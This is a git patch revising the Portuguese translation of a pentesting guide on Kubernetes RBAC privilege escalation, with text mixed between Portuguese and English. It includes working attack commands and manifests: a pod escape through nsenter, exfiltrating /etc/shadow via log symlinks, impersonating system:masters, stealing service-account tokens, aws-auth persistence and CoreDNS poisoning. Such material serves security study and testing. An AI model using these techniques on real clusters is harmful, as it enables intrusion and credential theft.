From a2bd88822da28bb6ca788f5c77ad7be1c7b6b7fa Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 12 Feb 2026 12:38:14 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-cloud/kubernetes-security/pentesting-kub --- .../README.md | 289 ++++++++++-------- ...ubelet-authentication-and-authorization.md | 78 ++--- 2 files changed, 195 insertions(+), 172 deletions(-) diff --git a/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md b/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md index 16563f747..ef988de3f 100644 --- a/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md +++ b/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md @@ -1,23 +1,23 @@ -# Abusing Roles/ClusterRoles in Kubernetes +# Abusando de Roles/ClusterRoles em Kubernetes {{#include ../../../banners/hacktricks-training.md}} -Aqui você pode encontrar algumas configurações de Roles e ClusterRoles potencialmente perigosas.\ -Lembre-se de que você pode obter todos os recursos suportados com `kubectl api-resources` +Aqui você pode encontrar algumas configurações potencialmente perigosas de Roles e ClusterRoles.\ +Lembre-se que você pode obter todos os recursos suportados com `kubectl api-resources` -## **Escalada de Privilégios** +## **Privilege Escalation** -Referindo-se à arte de obter **acesso a um principal diferente** dentro do cluster **com privilégios diferentes** (dentro do cluster kubernetes ou para nuvens externas) do que os que você já possui, no Kubernetes existem basicamente **4 técnicas principais para escalar privilégios**: +Referindo-se à arte de obter **acesso a um principal diferente** dentro do cluster **com privilégios diferentes** (dentro do cluster Kubernetes ou para nuvens externas) do que aqueles que você já possui, em Kubernetes existem basicamente **4 técnicas principais para escalar privilégios**: -- Ser capaz de **impersonar** outros usuários/grupos/SAs com melhores privilégios dentro do cluster kubernetes ou para nuvens externas -- Ser capaz de **criar/patch/exec pods** onde você pode **encontrar ou anexar SAs** com melhores privilégios dentro do cluster kubernetes ou para nuvens externas -- Ser capaz de **ler segredos** já que os tokens dos SAs são armazenados como segredos -- Ser capaz de **escapar para o nó** a partir de um contêiner, onde você pode roubar todos os segredos dos contêineres em execução no nó, as credenciais do nó e as permissões do nó dentro da nuvem em que está sendo executado (se houver) -- Uma quinta técnica que merece menção é a capacidade de **executar port-forward** em um pod, pois você pode ser capaz de acessar recursos interessantes dentro desse pod. +- Ser capaz de **impersonate** outros usuários/grupos/SAs com privilégios melhores dentro do cluster Kubernetes ou para nuvens externas +- Ser capaz de **create/patch/exec pods** onde você pode **find or attach SAs** com privilégios melhores dentro do cluster Kubernetes ou para nuvens externas +- Ser capaz de **read secrets**, já que os tokens das SAs são armazenados como secrets +- Ser capaz de **escape to the node** a partir de um container, onde você pode roubar todos os secrets dos containers rodando no node, as credenciais do node, e as permissões do node dentro da nuvem em que está executando (se houver) +- Uma quinta técnica que merece menção é a habilidade de **run port-forward** em um pod, pois você pode conseguir acessar recursos interessantes dentro desse pod. -### Acessar Qualquer Recurso ou Verbo (Coringa) +### Access Any Resource or Verb (Wildcard) -O **coringa (\*) concede permissão sobre qualquer recurso com qualquer verbo**. É usado por administradores. Dentro de um ClusterRole, isso significa que um atacante poderia abusar de qualquer namespace no cluster +The **wildcard (\*) gives permission over any resource with any verb**. It's used by admins. Inside a ClusterRole this means that an attacker could abuse anynamespace in the cluster ```yaml apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole @@ -29,13 +29,13 @@ rules: resources: ["*"] verbs: ["*"] ``` -### Acessar Qualquer Recurso com um verbo específico +### Acessar qualquer recurso com um verbo específico -Em RBAC, certas permissões apresentam riscos significativos: +No RBAC, certas permissões apresentam riscos significativos: -1. **`create`:** Concede a capacidade de criar qualquer recurso de cluster, arriscando a escalada de privilégios. -2. **`list`:** Permite listar todos os recursos, potencialmente vazando dados sensíveis. -3. **`get`:** Permite acessar segredos de contas de serviço, representando uma ameaça à segurança. +1. **`create`:** Concede a habilidade de criar qualquer recurso do cluster, colocando em risco privilege escalation. +2. **`list`:** Permite listar todos os recursos, potencialmente leaking sensitive data. +3. **`get`:** Permite acessar secrets de service accounts, representando uma ameaça à segurança. ```yaml apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole @@ -49,9 +49,9 @@ verbs: ["create", "list", "get"] ``` ### Pod Create - Steal Token -Um atacante com permissões para criar um pod pode anexar uma Service Account privilegiada ao pod e roubar o token para se passar pela Service Account. Isso efetivamente eleva os privilégios. +Um atacante com permissões para criar um pod pode anexar uma Service Account privilegiada ao pod e roubar o token para se passar pela Service Account, escalando efetivamente privilégios para ela -Exemplo de um pod que roubará o token da Service Account `bootstrap-signer` e o enviará para o atacante: +Exemplo de um pod que irá roubar o token da Service Account `bootstrap-signer` e enviá-lo ao atacante: ```yaml apiVersion: v1 kind: Pod @@ -72,14 +72,12 @@ serviceAccountName: bootstrap-signer automountServiceAccountToken: true hostNetwork: true ``` -### Criação e Escape de Pod +### Pod Create & Escape -O seguinte indica todos os privilégios que um contêiner pode ter: - -- **Acesso privilegiado** (desabilitando proteções e configurando capacidades) +- **Acesso privilegiado** (desabilitando proteções e definindo capabilities) - **Desabilitar namespaces hostIPC e hostPid** que podem ajudar a escalar privilégios -- **Desabilitar o namespace hostNetwork**, dando acesso para roubar privilégios de nuvem dos nós e melhor acesso às redes -- **Montar hosts / dentro do contêiner** +- **Desabilitar o namespace hostNetwork**, dando acesso para roubar privilégios em cloud dos nodes e melhor acesso às redes +- **Montar o / do host dentro do container** ```yaml:super_privs.yaml apiVersion: v1 kind: Pod @@ -119,15 +117,15 @@ Crie o pod com: ```bash kubectl --token $token create -f mount_root.yaml ``` -Um-liner do [este tweet](https://twitter.com/mauilion/status/1129468485480751104) e com algumas adições: +One-liner de [this tweet](https://twitter.com/mauilion/status/1129468485480751104) e com algumas adições: ```bash kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}' ``` -Agora que você pode escapar para o nó, verifique as técnicas de pós-exploração em: +Agora que você pode escapar para o node, confira post-exploitation techniques em: #### Stealth -Você provavelmente quer ser **mais discreto**, nas páginas seguintes você pode ver o que seria capaz de acessar se criar um pod apenas habilitando alguns dos privilégios mencionados no template anterior: +Você provavelmente quer ser **stealthier**; nas páginas a seguir você pode ver o que seria capaz de acessar se criar um pod habilitando apenas alguns dos privilégios mencionados no template anterior: - **Privileged + hostPID** - **Privileged only** @@ -136,24 +134,24 @@ Você provavelmente quer ser **mais discreto**, nas páginas seguintes você pod - **hostNetwork** - **hostIPC** -_Você pode encontrar um exemplo de como criar/abusar das configurações de pods privilegiados anteriores em_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods) +_Você pode encontrar exemplos de como criar/abusar as configurações de pods privilegiados anteriores em_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods) -### Pod Create - Mover para a nuvem +### Pod Create - Move to cloud -Se você pode **criar** um **pod** (e opcionalmente uma **conta de serviço**) você pode ser capaz de **obter privilégios no ambiente de nuvem** ao **atribuir funções de nuvem a um pod ou a uma conta de serviço** e então acessá-lo.\ -Além disso, se você pode criar um **pod com o namespace de rede do host**, você pode **roubar o IAM** da função da **instância** do **nó**. +Se você puder **criar** um **pod** (e opcionalmente uma **service account**) pode ser capaz de **obter privilégios in cloud environment** atribuindo **cloud roles** a um pod ou a uma service account e então acessá-lo.\ +Além disso, se você puder criar um **pod com o host network namespace** você pode **steal the IAM** role da instância **node**. -Para mais informações, verifique: +Para mais informações veja: {{#ref}} pod-escape-privileges.md {{#endref}} -### **Criar/Patch Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs e Cronjobs** +### **Create/Patch Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs and Cronjobs** É possível abusar dessas permissões para **criar um novo pod** e escalar privilégios como no exemplo anterior. -O seguinte yaml **cria um daemonset e exfiltra o token da SA** dentro do pod: +O yaml a seguir **creates a daemonset and exfiltrates the token of the SA** inside the pod: ```yaml apiVersion: apps/v1 kind: DaemonSet @@ -191,32 +189,32 @@ path: / ``` ### **Pods Exec** -**`pods/exec`** é um recurso no kubernetes usado para **executar comandos em um shell dentro de um pod**. Isso permite **executar comandos dentro dos contêineres ou obter um shell dentro**. +**`pods/exec`** é um recurso no kubernetes usado para **executar comandos em um shell dentro de um pod**. Isso permite **executar comandos dentro dos containers ou obter um shell dentro**. -Portanto, é possível **entrar em um pod e roubar o token do SA**, ou entrar em um pod privilegiado, escapar para o nó e roubar todos os tokens dos pods no nó e (ab)usar o nó: +Portanto, é possível **entrar em um pod e roubar o token do SA**, ou entrar em um pod privilegiado, escapar para o node, e roubar todos os tokens dos pods no node e (ab)usar o node: ```bash kubectl exec -it -n -- sh ``` > [!NOTE] -> Por padrão, o comando é executado no primeiro contêiner do pod. Obtenha **todos os pods em um contêiner** com `kubectl get pods -o jsonpath='{.spec.containers[*].name}'` e então **indique o contêiner** onde você deseja executá-lo com `kubectl exec -it -c -- sh` +> Por padrão o comando é executado no primeiro container do pod. Obtenha **todos os containers em um pod** com `kubectl get pods -o jsonpath='{.spec.containers[*].name}'` e então **indique o container** onde quer executá-lo com `kubectl exec -it -c -- sh` -Se for um contêiner distroless, você pode tentar usar **builtins de shell** para obter informações dos contêineres ou fazer upload de suas próprias ferramentas como um **busybox** usando: **`kubectl cp :`**. +Se for um container distroless você pode tentar usar **shell builtins** para obter info dos containers ou enviar suas próprias ferramentas como um **busybox** usando: **`kubectl cp :`**. ### port-forward -Esta permissão permite **encaminhar uma porta local para uma porta no pod especificado**. Isso é destinado a facilitar a depuração de aplicativos em execução dentro de um pod, mas um atacante pode abusar disso para obter acesso a aplicativos interessantes (como DBs) ou vulneráveis (webs?) dentro de um pod: +Essa permissão permite **encaminhar uma porta local para uma porta no pod especificado**. Isso serve para depurar aplicações rodando dentro de um pod facilmente, mas um atacante pode abusar dela para acessar aplicações interessantes (como DBs) ou vulneráveis (webs?) dentro de um pod: ```bash kubectl port-forward pod/mypod 5000:5000 ``` ### Hosts Writable /var/log/ Escape -Como [**indicado nesta pesquisa**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), se você puder acessar ou criar um pod com o **diretório `/var/log/` dos hosts montado** nele, você pode **escapar do contêiner**.\ -Isso acontece basicamente porque, quando a **Kube-API tenta obter os logs** de um contêiner (usando `kubectl logs `), ela **solicita o arquivo `0.log`** do pod usando o endpoint `/logs/` do serviço **Kubelet**.\ -O serviço Kubelet expõe o endpoint `/logs/`, que basicamente **expondo o sistema de arquivos `/var/log` do contêiner**. +Como [**indicado nesta pesquisa**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), se você conseguir acessar ou criar um pod com o **hosts `/var/log/` directory mounted** nele, você pode **escape from the container**.\ +Isso acontece basicamente porque, quando a **Kube-API tenta obter os logs** de um container (usando `kubectl logs `), ela **requests the `0.log`** file of the pod usando o endpoint `/logs/` do serviço **Kubelet**.\ +O serviço Kubelet expõe o endpoint `/logs/` que basicamente está **expondo o filesystem `/var/log` do container**. -Portanto, um atacante com **acesso para escrever na pasta /var/log/** do contêiner poderia abusar desse comportamento de 2 maneiras: +Portanto, um atacante com **acesso de escrita na pasta /var/log/** do container poderia abusar desse comportamento de 2 maneiras: -- Modificando o arquivo `0.log` de seu contêiner (geralmente localizado em `/var/logs/pods/namespace_pod_uid/container/0.log`) para ser um **symlink apontando para `/etc/shadow`**, por exemplo. Então, você poderá exfiltrar o arquivo shadow dos hosts fazendo: +- Modificar o arquivo `0.log` do seu container (normalmente localizado em `/var/logs/pods/namespace_pod_uid/container/0.log`) para ser um **symlink apontando para `/etc/shadow`**, por exemplo. Assim, você poderá exfiltrar o arquivo shadow do host fazendo: ```bash kubectl logs escaper failed to get parse function: unsupported log format: "root::::::::\n" @@ -224,7 +222,7 @@ kubectl logs escaper --tail=2 failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n" # Keep incrementing tail to exfiltrate the whole file ``` -- Se o atacante controla qualquer principal com as **permissões para ler `nodes/log`**, ele pode simplesmente criar um **symlink** em `/host-mounted/var/log/sym` para `/` e ao **acessar `https://:10250/logs/sym/` ele listará o sistema de arquivos root** do host (alterar o symlink pode fornecer acesso a arquivos). +- Se o atacante controla qualquer principal com as **permissões para ler `nodes/log`**, ele pode simplesmente criar um **symlink** em `/host-mounted/var/log/sym` para `/` e ao **acessar `https://:10250/logs/sym/` ele listará o sistema de arquivos raiz do host** (alterar o symlink pode fornecer acesso a arquivos). ```bash curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/' bin @@ -238,21 +236,21 @@ curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https:// ``` **Um laboratório e um exploit automatizado podem ser encontrados em** [**https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts**](https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts) -#### Contornando a proteção readOnly +#### Bypassing readOnly protection -Se você tiver sorte e a capacidade altamente privilegiada `CAP_SYS_ADMIN` estiver disponível, você pode apenas remontar a pasta como rw: +Se você tiver sorte e a capability altamente privilegiada `CAP_SYS_ADMIN` estiver disponível, você pode simplesmente remontar o diretório como rw: ```bash mount -o rw,remount /hostlogs/ ``` -#### Bypassing hostPath readOnly protection +#### Contornando a proteção readOnly do hostPath -Conforme declarado em [**esta pesquisa**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), é possível contornar a proteção: +Como descrito em [**this research**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html) é possível contornar a proteção: ```yaml allowedHostPaths: - pathPrefix: "/foo" readOnly: true ``` -O que deveria prevenir escapes como os anteriores, ao invés de usar um hostPath mount, é usar um PersistentVolume e um PersistentVolumeClaim para montar uma pasta do host no contêiner com acesso gravável: +Isso foi pensado para evitar escapes como os anteriores ao, em vez de usar um hostPath mount, usar um PersistentVolume e um PersistentVolumeClaim para montar uma pasta hosts no container com acesso de escrita: ```yaml apiVersion: v1 kind: PersistentVolume @@ -298,16 +296,16 @@ volumeMounts: - mountPath: "/hostlogs" name: task-pv-storage-vol ``` -### **Impersonando contas privilegiadas** +### **Personificando contas privilegiadas** -Com um privilégio de [**impersonação de usuário**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation), um atacante poderia se passar por uma conta privilegiada. +Com o privilégio de [**user impersonation**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation), um atacante poderia se passar por uma conta privilegiada. Basta usar o parâmetro `--as=` no comando `kubectl` para se passar por um usuário, ou `--as-group=` para se passar por um grupo: ```bash kubectl get pods --as=system:serviceaccount:kube-system:default kubectl get secrets --as=null --as-group=system:masters ``` -Ou use a API REST: +Ou use a REST API: ```bash curl -k -v -XGET -H "Authorization: Bearer " \ -H "Impersonate-Group: system:masters"\ @@ -315,15 +313,16 @@ curl -k -v -XGET -H "Authorization: Bearer " \ -H "Accept: application/json" \ https://:/api/v1/namespaces/kube-system/secrets/ ``` -### Listando Segredos +### Listando secrets -A permissão para **listar segredos pode permitir que um atacante realmente leia os segredos** acessando o endpoint da API REST: +A permissão para **list secrets** pode permitir que um atacante realmente leia os secrets acessando o REST API endpoint: ```bash curl -v -H "Authorization: Bearer " https://:/api/v1/namespaces/kube-system/secrets/ ``` -### Criando e Lendo Segredos +### Criando e Lendo Secrets -Há um tipo especial de segredo do Kubernetes do tipo **kubernetes.io/service-account-token** que armazena tokens de serviceaccount. Se você tiver permissões para criar e ler segredos, e também souber o nome do serviceaccount, você pode criar um segredo da seguinte forma e então roubar o token do serviceaccount da vítima a partir dele: +Existe um tipo especial de secret do Kubernetes do tipo **kubernetes.io/service-account-token** que armazena tokens de serviceaccount. +Se você tem permissões para criar e ler secrets, e também conhece o nome do serviceaccount, você pode criar um secret da seguinte forma e então roubar o token do serviceaccount da vítima a partir dele: ```yaml apiVersion: v1 kind: Secret @@ -382,17 +381,17 @@ $ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o jso "type": "kubernetes.io/service-account-token" } ``` -Note que se você tiver permissão para criar e ler segredos em um determinado namespace, a serviceaccount da vítima também deve estar nesse mesmo namespace. +Note que, se você tem permissão para criar e ler secrets em um determinado namespace, a serviceaccount vítima também deve estar nesse mesmo namespace. -### Lendo um segredo – força bruta em IDs de token +### Lendo um secret – brute-forcing token IDs -Enquanto um atacante em posse de um token com permissões de leitura requer o nome exato do segredo para usá-lo, ao contrário do privilégio mais amplo de _**listar segredos**_, ainda existem vulnerabilidades. As contas de serviço padrão no sistema podem ser enumeradas, cada uma associada a um segredo. Esses segredos têm uma estrutura de nome: um prefixo estático seguido por um token alfanumérico aleatório de cinco caracteres (excluindo certos caracteres) de acordo com o [código-fonte](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83). +Embora um atacante em posse de um token com permissões de leitura precise do nome exato do secret para usá-lo, ao contrário da permissão mais ampla _**listing secrets**_, ainda existem vulnerabilidades. Os service accounts padrão no sistema podem ser enumerados, cada um associado a um secret. Esses secrets têm uma estrutura de nome: um prefixo estático seguido por um token alfanumérico aleatório de cinco caracteres (excluindo certos caracteres), de acordo com o [source code](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83). -O token é gerado a partir de um conjunto limitado de 27 caracteres (`bcdfghjklmnpqrstvwxz2456789`), em vez do intervalo alfanumérico completo. Essa limitação reduz o total de combinações possíveis para 14.348.907 (27^5). Consequentemente, um atacante poderia viavelmente executar um ataque de força bruta para deduzir o token em questão de horas, potencialmente levando a uma escalada de privilégios ao acessar contas de serviço sensíveis. +O token é gerado a partir de um conjunto limitado de 27 caracteres (`bcdfghjklmnpqrstvwxz2456789`), em vez do intervalo alfanumérico completo. Essa limitação reduz o total de combinações possíveis para 14,348,907 (27^5). Consequentemente, um atacante poderia feasibly executar um ataque brute-force para deduzir o token em questão de horas, potencialmente levando a uma elevação de privilégios ao acessar service accounts sensíveis. ### EncrpytionConfiguration em texto claro -É possível encontrar chaves em texto claro para criptografar dados em repouso neste tipo de objeto como: +É possível encontrar chaves em texto claro para criptografar dados at rest nesse tipo de objeto, como: ```yaml # From https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/ @@ -449,13 +448,13 @@ keys: - name: key3 secret: c2VjcmV0IGlzIHNlY3VyZSwgSSB0aGluaw== ``` -### Certificate Signing Requests +### Solicitações de Assinatura de Certificado -Se você tiver os verbos **`create`** no recurso `certificatesigningrequests` (ou pelo menos em `certificatesigningrequests/nodeClient`). Você pode **criar** um novo CeSR de um **novo nó.** +Se você tiver o verbo **`create`** no recurso `certificatesigningrequests` (ou pelo menos em `certificatesigningrequests/nodeClient`), você pode **criar** um novo CeSR de um **novo nó.** -De acordo com a [documentação é possível aprovar automaticamente essas solicitações](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), então, nesse caso, você **não precisa de permissões extras**. Caso contrário, você precisaria ser capaz de aprovar a solicitação, o que significa atualizar em `certificatesigningrequests/approval` e `approve` em `signers` com resourceName `/` ou `/*` +De acordo com a [documentation it's possible to auto approve this requests](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), então nesse caso você **não precisa de permissões extras**. Caso contrário, você precisaria ser capaz de aprovar a solicitação, o que significa update em `certificatesigningrequests/approval` e `approve` em `signers` com resourceName `/` ou `/*` -Um **exemplo de um papel** com todas as permissões necessárias é: +Um **exemplo de role** com todas as permissões necessárias é: ```yaml apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole @@ -486,18 +485,18 @@ resourceNames: verbs: - approve ``` -Então, com o novo CSR do nó aprovado, você pode **abusar** das permissões especiais dos nós para **roubar segredos** e **escalar privilégios**. +Então, com o novo node CSR aprovado, você pode **abuse** as permissões especiais dos nodes para **steal secrets** e **escalate privileges**. -Em [**este post**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) e [**este aqui**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/), a configuração do GKE K8s TLS Bootstrap é configurada com **assinatura automática** e é abusada para gerar credenciais de um novo nó K8s e, em seguida, abusar delas para escalar privilégios roubando segredos.\ -Se você **tiver os privilégios mencionados, poderá fazer a mesma coisa**. Note que o primeiro exemplo contorna o erro que impede um novo nó de acessar segredos dentro de contêineres porque um **nó só pode acessar os segredos dos contêineres montados nele.** +In [**this post**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) and [**this one**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/) a configuração GKE K8s TLS Bootstrap está configurada com **automatic signing** e é abusada para gerar credentials de um novo K8s Node e então abusar desses para escalate privileges by stealing secrets.\ +Se você **have the mentioned privileges you could do the same thing**. Observe que o primeiro exemplo contorna o erro que impede um novo node de acessar secrets dentro dos containers porque um **node can only access the secrets of containers mounted on it.** -A maneira de contornar isso é apenas **criar credenciais de nó para o nome do nó onde o contêiner com os segredos interessantes está montado** (mas apenas verifique como fazer isso no primeiro post): +A forma de contornar isso é simplesmente **create a node credentials for the node name where the container with the interesting secrets is mounted** (but just check how to do it in the first post): ```bash "/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1" ``` ### AWS EKS aws-auth configmaps -Os principais que podem modificar **`configmaps`** no namespace kube-system em clusters EKS (precisam estar na AWS) podem obter privilégios de administrador do cluster ao sobrescrever o **aws-auth** configmap.\ +Principals que podem modificar **`configmaps`** no namespace kube-system em clusters EKS (precisam estar na AWS) podem obter privilégios de administrador do cluster sobrescrevendo o configmap **aws-auth**.\ Os verbos necessários são **`update`** e **`patch`**, ou **`create`** se o configmap não tiver sido criado: ```bash # Check if config map exists @@ -538,18 +537,18 @@ groups: - system:masters ``` > [!WARNING] -> Você pode usar **`aws-auth`** para **persistência** dando acesso a usuários de **outras contas**. +> Você pode usar **`aws-auth`** para **persistência**, dando acesso a usuários de **outras contas**. > -> No entanto, `aws --profile other_account eks update-kubeconfig --name ` **não funciona de uma conta diferente**. Mas na verdade `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing` funciona se você colocar o ARN do cluster em vez de apenas o nome.\ -> Para fazer `kubectl` funcionar, apenas certifique-se de **configurar** o **kubeconfig da vítima** e nos argumentos de execução da aws adicione `--profile other_account_role` para que o kubectl use o perfil da outra conta para obter o token e contatar a AWS. +> Porém, `aws --profile other_account eks update-kubeconfig --name ` **não funciona a partir de outra conta**. Mas na verdade `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing` funciona se você colocar o ARN do cluster em vez do nome.\ +> Para fazer o `kubectl` funcionar, basta certificar-se de **configurar** o **kubeconfig da vítima** e nos argumentos do aws exec adicionar `--profile other_account_role` para que o kubectl use o profile da outra conta para obter o token e contatar a AWS. -### CoreDNS config map +### ConfigMap do CoreDNS -Se você tiver as permissões para modificar o **`coredns` configmap** no namespace `kube-system`, você pode modificar os domínios de endereço que serão resolvidos para poder realizar ataques MitM para **roubar informações sensíveis ou injetar conteúdo malicioso**. +Se você tem permissões para modificar o **`coredns` configmap** no namespace `kube-system`, você pode alterar os endereços para os quais domínios serão resolvidos, de modo a possibilitar ataques MitM para **roubar informações sensíveis ou injetar conteúdo malicioso**. -Os verbos necessários são **`update`** e **`patch`** sobre o **`coredns`** configmap (ou todos os config maps). +Os verbos necessários são **`update`** e **`patch`** no **`coredns`** configmap (ou em todos os config maps). -Um arquivo **coredns** regular contém algo como isto: +Um **arquivo do CoreDNS** comum contém algo como isto: ```yaml data: Corefile: | @@ -579,58 +578,75 @@ reload loadbalance } ``` -Um atacante poderia baixá-lo executando `kubectl get configmap coredns -n kube-system -o yaml`, modificá-lo adicionando algo como `rewrite name victim.com attacker.com`, de modo que sempre que `victim.com` for acessado, na verdade `attacker.com` será o domínio que será acessado. E então aplicá-lo executando `kubectl apply -f poison_dns.yaml`. +Um atacante poderia baixá-lo executando `kubectl get configmap coredns -n kube-system -o yaml`, modificá-lo adicionando algo como `rewrite name victim.com attacker.com` para que sempre que `victim.com` for acessado, na verdade `attacker.com` seja o domínio acessado. E então aplicá-lo executando `kubectl apply -f poison_dns.yaml`. Outra opção é simplesmente editar o arquivo executando `kubectl edit configmap coredns -n kube-system` e fazer as alterações. -### Escalando no GKE +### Escalating in GKE -Existem **2 maneiras de atribuir permissões K8s a principais do GCP**. Em qualquer caso, o principal também precisa da permissão **`container.clusters.get`** para poder coletar credenciais para acessar o cluster, ou você precisará **gerar seu próprio arquivo de configuração kubectl** (siga o próximo link). +Existem **2 maneiras de atribuir permissões K8s a principals do GCP**. Em qualquer caso, o principal também precisa da permissão **`container.clusters.get`** para conseguir coletar credenciais para acessar o cluster, ou você precisará **gerar seu próprio arquivo de configuração do kubectl** (siga o link a seguir). > [!WARNING] -> Ao falar com o endpoint da API K8s, o **token de autenticação do GCP será enviado**. Então, o GCP, através do endpoint da API K8s, primeiro **verificará se o principal** (por e-mail) **tem algum acesso dentro do cluster**, depois verificará se ele tem **qualquer acesso via GCP IAM**.\ -> Se **qualquer** um desses for **verdadeiro**, ele será **respondido**. Se **não**, um **erro** sugerindo conceder **permissões via GCP IAM** será dado. +> Ao comunicar-se com o endpoint da API do K8s, o token de autenticação do GCP será enviado. Então, o GCP, através do endpoint da API do K8s, primeiro **verificará se o principal** (pelo email) **tem algum acesso dentro do cluster**, depois verificará se tem **qualquer acesso via GCP IAM**.\ +> Se **qualquer** uma dessas for **verdadeira**, será **respondido**. Se **não**, será retornado um **erro** sugerindo conceder **permissões via GCP IAM**. -Então, o primeiro método é usar **GCP IAM**, as permissões K8s têm suas **permissões equivalentes do GCP IAM**, e se o principal as tiver, poderá usá-las. +Então, o primeiro método é usar **GCP IAM**; as permissões do K8s têm suas **equivalentes em GCP IAM**, e se o principal as possuir, poderá usá-las. {{#ref}} ../../gcp-security/gcp-privilege-escalation/gcp-container-privesc.md {{#endref}} -O segundo método é **atribuir permissões K8s dentro do cluster** identificando o usuário pelo seu **e-mail** (contas de serviço do GCP incluídas). +O segundo método é **atribuir permissões K8s dentro do cluster** identificando o usuário pelo seu **email** (incluindo service accounts do GCP). -### Criar token de serviceaccounts +### Create serviceaccounts token -Principais que podem **criar TokenRequests** (`serviceaccounts/token`) ao falar com o endpoint da API K8s SAs (informações de [**aqui**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego)). +Entidades que podem **create TokenRequests** (`serviceaccounts/token`) ao comunicar-se com o endpoint da API do K8s SAs (info from [**here**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego)). ### ephemeralcontainers -Principais que podem **`update`** ou **`patch`** **`pods/ephemeralcontainers`** podem ganhar **execução de código em outros pods**, e potencialmente **sair** para seu nó adicionando um contêiner efêmero com um securityContext privilegiado. +Entidades que podem **`update`** ou **`patch`** **`pods/ephemeralcontainers`** podem obter **execução de código em outros pods**, e potencialmente **escapar** para seu node adicionando um ephemeral container com um securityContext privilegiado ### ValidatingWebhookConfigurations ou MutatingWebhookConfigurations -Principais com qualquer um dos verbos `create`, `update` ou `patch` sobre `validatingwebhookconfigurations` ou `mutatingwebhookconfigurations` podem ser capazes de **criar uma dessas webhookconfigurations** para poder **escalar privilégios**. +Entidades com qualquer um dos verbos `create`, `update` ou `patch` sobre `validatingwebhookconfigurations` ou `mutatingwebhookconfigurations` podem ser capazes de **criar uma dessas webhookconfigurations** para poder **escalar privilégios**. -Para um [exemplo de `mutatingwebhookconfigurations`, verifique esta seção deste post](#malicious-admission-controller). +For a [`mutatingwebhookconfigurations` example check this section of this post](#malicious-admission-controller). -### Escalar +### Escalate -Como você pode ler na próxima seção: [**Prevenção de Escalação de Privilégios Integrada**](#built-in-privileged-escalation-prevention), um principal não pode atualizar nem criar roles ou clusterroles sem ter ele mesmo essas novas permissões. Exceto se ele tiver o **verbo `escalate` ou `*`** sobre **`roles`** ou **`clusterroles`** e as respectivas opções de binding.\ -Então ele pode atualizar/criar novas roles, clusterroles com melhores permissões do que as que ele possui. +As you can read in the next section: [**Built-in Privileged Escalation Prevention**](#built-in-privileged-escalation-prevention), um principal não pode nem atualizar nem criar roles ou clusterroles sem ele mesmo possuir essas novas permissões. Exceto se ele tiver o **verbo `escalate` ou `*`** sobre **`roles`** ou **`clusterroles`** e as respectivas opções de binding.\ +Então ele pode atualizar/criar novos roles, clusterroles com permissões superiores às que possui. -### Proxy de nós +### Nodes proxy -Principais com acesso ao sub-recurso **`nodes/proxy`** podem **executar código em pods** via a API Kubelet (de acordo com [**isto**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego)). Mais informações sobre autenticação Kubelet nesta página: +Entidades com acesso ao subrecurso **`nodes/proxy`** podem **executar código em pods** via a API do Kubelet (de acordo com [**this**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego)). Mais informações sobre autenticação do Kubelet nesta página: {{#ref}} ../pentesting-kubernetes-services/kubelet-authentication-and-authorization.md {{#endref}} -Você tem um exemplo de como obter [**RCE falando autorizado a uma API Kubelet aqui**](../pentesting-kubernetes-services/index.html#kubelet-rce). +#### nodes/proxy GET -> Kubelet /exec via WebSocket verb confusion -### Deletar pods + nós não agendáveis +- O Kubelet 